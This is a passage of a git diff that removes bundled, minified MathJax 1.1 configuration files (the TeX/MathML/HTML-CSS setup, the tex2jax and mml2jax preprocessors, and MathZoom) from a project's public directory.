h=this.HTMLspanElement();if(h.style.fontFamily){f.fontfamily=h.style.fontFamily}if(h.style.fontWeight){f.fontweight=h.style.fontWeight}if(h.style.fontStyle){f.fontStyle=h.style.fontStyle}}var g=f.mathvariant;if(this.variantForm){g="-"+e.fontInUse+"-variant"}if(f.fontfamily&&!this.mathvariant){if(!f.fontweight&&f.mathvariant.match(/bold/)){f.fontweight="bold"}if(!f.fontstyle&&f.mathvariant.match(/italic/)){f.fontstyle="italic"}return{FONTS:[],fonts:[],noRemap:true,defaultFont:{family:f.fontfamily,style:f.fontstyle,weight:f.fontweight}}}if(f.fontweight==="bold"){g={normal:a.VARIANT.BOLD,italic:a.VARIANT.BOLDITALIC,fraktur:a.VARIANT.BOLDFRAKTUR,script:a.VARIANT.BOLDSCRIPT,"sans-serif":a.VARIANT.BOLDSANSSERIF,"sans-serif-italic":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontweight==="normal"){g={bold:a.VARIANT.normal,"bold-italic":a.VARIANT.ITALIC,"bold-fraktur":a.VARIANT.FRAKTUR,"bold-script":a.VARIANT.SCRIPT,"bold-sans-serif":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.SANSSERIFITALIC}[g]||g}}if(f.fontstyle==="italic"){g={normal:a.VARIANT.ITALIC,bold:a.VARIANT.BOLDITALIC,"sans-serif":a.VARIANT.SANSSERIFITALIC,"bold-sans-serif":a.VARIANT.SANSSERIFBOLDITALIC}[g]||g}else{if(f.fontstyle==="normal"){g={italic:a.VARIANT.NORMAL,"bold-italic":a.VARIANT.BOLD,"sans-serif-italic":a.VARIANT.SANSSERIF,"sans-serif-bold-italic":a.VARIANT.BOLDSANSSERIF}[g]||g}}return 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l=(k.bbox.h-k.bbox.d)/2-e.TeX.axis_height*k.scale;if(e.safariVerticalAlignBug&&k.lastChild.nodeName==="IMG"){k.lastChild.style.verticalAlign=e.Em(parseFloat(k.lastChild.style.verticalAlign||0)/e.em-l/k.scale)}else{if(e.konquerorVerticalAlignBug&&k.lastChild.nodeName==="IMG"){k.style.position="relative";k.lastChild.style.position="relative";k.lastChild.style.top=e.Em(l/k.scale)}else{k.style.verticalAlign=e.Em(-l/k.scale)}}k.bbox.h-=l;k.bbox.d+=l;if(k.bbox.rw>k.bbox.w){k.bbox.ic=k.bbox.rw-k.bbox.w;e.createBlank(k,k.bbox.ic);k.bbox.w=k.bbox.rw}}this.HTMLhandleSpace(k);this.HTMLhandleColor(k);return k},HTMLcanStretch:function(f){if(!this.Get("stretchy")){return false}var g=this.data.join("");if(g.length>1){return false}g=e.FONTDATA.DELIMITERS[g.charCodeAt(0)];return(g&&g.dir==f.substr(0,1))},HTMLstretchV:function(l,k,n){this.HTMLremoveColor();var f=this.getValues("symmetric","maxsize","minsize");var j=this.HTMLspanElement(),g;var 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G=this.HTMLgetScale();var j=e.createStack(C),g;var i=e.createBox(j);this.HTMLmeasureChild(this.base,i);if(this.data[this.base]){if(w!=null){e.Remeasured(this.data[this.base].HTMLstretchV(i,A,w),i)}else{if(A!=null){e.Remeasured(this.data[this.base].HTMLstretchH(i,A),i)}}}e.placeBox(i,0,0);var h=(this.data[this.sup]||this.data[this.sub]||this).HTMLgetScale();var E=e.TeX.x_height*G,o=e.TeX.scriptspace*G*0.75;var f,k;if(this.HTMLnotEmpty(this.data[this.sup])){f=e.createBox(j);e.Measured(this.data[this.sup].toHTML(f),f);f.bbox.w+=o;f.bbox.rw=Math.max(f.bbox.w,f.bbox.rw)}if(this.HTMLnotEmpty(this.data[this.sub])){k=e.createBox(j);e.Measured(this.data[this.sub].toHTML(k),k);k.bbox.w+=o;k.bbox.rw=Math.max(k.bbox.w,k.bbox.rw)}var y=e.TeX.sup_drop*h,x=e.TeX.sub_drop*h;var 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-MathJax.Ajax.loadComplete("[MathJax]/config/TeX-AMS-MML_HTMLorMML-full.js");
diff --git a/public/MathJax/config/TeX-AMS-MML_HTMLorMML.js b/public/MathJax/config/TeX-AMS-MML_HTMLorMML.js
deleted file mode 100644
index f604040b..00000000
--- a/public/MathJax/config/TeX-AMS-MML_HTMLorMML.js
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- *  /MathJax/config/TeX-AMS-MML_HTMLorMML.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Config({delayJaxRegistration: true});
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/TeX/config.js",
-  "[MathJax]/jax/input/MathML/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/jax/output/NativeMML/config.js",
-  "[MathJax]/config/MMLorHTML.js",
-  "[MathJax]/extensions/tex2jax.js",
-  "[MathJax]/extensions/mml2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/extensions/TeX/noErrors.js",
-  "[MathJax]/extensions/TeX/noUndefined.js",
-  "[MathJax]/jax/input/TeX/jax.js",
-  "[MathJax]/extensions/TeX/AMSmath.js",
-  "[MathJax]/extensions/TeX/AMSsymbols.js",
-  "[MathJax]/jax/input/MathML/jax.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; mode=display",end:b.displayMath[c][1],pattern:this.endPattern(b.displayMath[c][1])}}this.start=new RegExp(d.sort(this.sortLength).join("|")+(b.processEnvironments?"|\\\\begin\\{([^}]*)\\}":"")+(b.processEscapes?"|\\\\*\\\\\\$":""),"g");this.skipTags=new RegExp("^("+b.skipTags.join("|")+")$","i");this.ignoreClass=new RegExp("(^| )("+b.ignoreClass+")( |$)");this.processClass=new RegExp("(^| )("+b.processClass+")( |$)")},patternQuote:function(a){return a.replace(/([\^$(){}+*?\-|\[\]\:\\])/g,"\\$1")},endPattern:function(a){return new RegExp(this.patternQuote(a)+"|\\\\.","g")},sortLength:function(d,c){if(d.length!==c.length){return c.length-d.length}return(d==c?0:(d<c?-1:1))},scanElement:function(c,b,f){var a,e,d;while(c&&c!=b){if(c.nodeName.toLowerCase()==="#text"){if(!f){c=this.scanText(c)}}else{a=(typeof(c.className)==="undefined"?"":c.className);e=(typeof(c.tagName)==="undefined"?"":c.tagName);if(typeof(a)!=="string"){a=String(a)}if(c.firstChild&&!a.match(/(^| )MathJax/)&&!this.skipTags.exec(e)){d=(f||this.ignoreClass.exec(a))&&!this.processClass.exec(a);this.scanElement(c.firstChild,b,d)}}if(c){c=c.nextSibling}}},scanText:function(b){if(b.nodeValue.replace(/\s+/,"")==""){return b}var a,c;this.search={start:true};this.pattern=this.start;while(b){this.pattern.lastIndex=0;while(b&&b.nodeName.toLowerCase()==="#text"&&(a=this.pattern.exec(b.nodeValue))){if(this.search.start){b=this.startMatch(a,b)}else{b=this.endMatch(a,b)}}if(this.search.matched){b=this.encloseMath(b)}if(b){do{c=b;b=b.nextSibling}while(b&&(b.nodeName.toLowerCase()==="br"||b.nodeName.toLowerCase()==="#comment"));if(!b||b.nodeName!=="#text"){return c}}}return b},startMatch:function(a,b){var f=this.match[a[0]];if(f!=null){this.search={end:f.end,mode:f.mode,open:b,olen:a[0].length,opos:this.pattern.lastIndex-a[0].length};this.switchPattern(f.pattern)}else{if(a[0].substr(0,6)==="\\begin"){this.search={end:"\\end{"+a[1]+"}",mode:"; mode=display",open:b,olen:0,opos:this.pattern.lastIndex-a[0].length,isBeginEnd:true};this.switchPattern(this.endPattern(this.search.end))}else{var d=a[0].substr(0,a[0].length-1),g,c;if(d.length%2===0){c=[d.replace(/\\\\/g,"\\")];g=1}else{c=[d.substr(1).replace(/\\\\/g,"\\"),"$"];g=0}c=MathJax.HTML.Element("span",null,c);var e=MathJax.HTML.TextNode(b.nodeValue.substr(0,a.index));b.nodeValue=b.nodeValue.substr(a.index+a[0].length-g);b.parentNode.insertBefore(c,b);b.parentNode.insertBefore(e,c);this.pattern.lastIndex=g}}return b},endMatch:function(a,b){if(a[0]==this.search.end){this.search.close=b;this.search.cpos=this.pattern.lastIndex;this.search.clen=(this.search.isBeginEnd?0:a[0].length);this.search.matched=true;b=this.encloseMath(b);this.switchPattern(this.start)}return b},switchPattern:function(a){a.lastIndex=this.pattern.lastIndex;this.pattern=a;this.search.start=(a===this.start)},encloseMath:function(b){var a=this.search,f=a.close,e,c;if(a.cpos===f.length){f=f.nextSibling}else{f=f.splitText(a.cpos)}if(!f){e=f=MathJax.HTML.addText(a.close.parentNode,"")}a.close=f;c=(a.opos?a.open.splitText(a.opos):a.open);while(c.nextSibling&&c.nextSibling!==f){if(c.nextSibling.nodeValue!==null){if(c.nextSibling.nodeName==="#comment"){c.nodeValue+=c.nextSibling.nodeValue.replace(/^\[CDATA\[((.|\n|\r)*)\]\]$/,"$1")}else{c.nodeValue+=c.nextSibling.nodeValue}}else{if(this.msieNewlineBug){c.nodeValue+=(c.nextSibling.nodeName.toLowerCase()==="br"?"\n":" ")}else{c.nodeValue+=" "}}c.parentNode.removeChild(c.nextSibling)}var d=c.nodeValue.substr(a.olen,c.nodeValue.length-a.olen-a.clen);c.parentNode.removeChild(c);if(this.config.preview!=="none"){this.createPreview(a.mode,d)}c=this.createMathTag(a.mode,d);this.search={};this.pattern.lastIndex=0;if(e){e.parentNode.removeChild(e)}return c},insertNode:function(b){var a=this.search;a.close.parentNode.insertBefore(b,a.close)},createPreview:function(c,a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);this.insertNode(b)}},createMathTag:function(c,b){var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);this.insertNode(a);return a},filterTeX:function(a){return a},msieNewlineBug:(MathJax.Hub.Browser.isMSIE&&document.documentMode<9)};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.tex2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/tex2jax.js");
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var 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-MathJax.Ajax.loadComplete("[MathJax]/config/TeX-AMS-MML_HTMLorMML.js");
diff --git a/public/MathJax/config/TeX-AMS_HTML-full.js b/public/MathJax/config/TeX-AMS_HTML-full.js
deleted file mode 100644
index 7cc2600f..00000000
--- a/public/MathJax/config/TeX-AMS_HTML-full.js
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- *  /MathJax/config/TeX-AMS_HTML-full.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/TeX/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/extensions/tex2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/extensions/TeX/noErrors.js",
-  "[MathJax]/extensions/TeX/noUndefined.js",
-  "[MathJax]/jax/input/TeX/jax.js",
-  "[MathJax]/extensions/TeX/AMSmath.js",
-  "[MathJax]/extensions/TeX/AMSsymbols.js",
-  "[MathJax]/jax/output/HTML-CSS/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/autoload/mtable.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
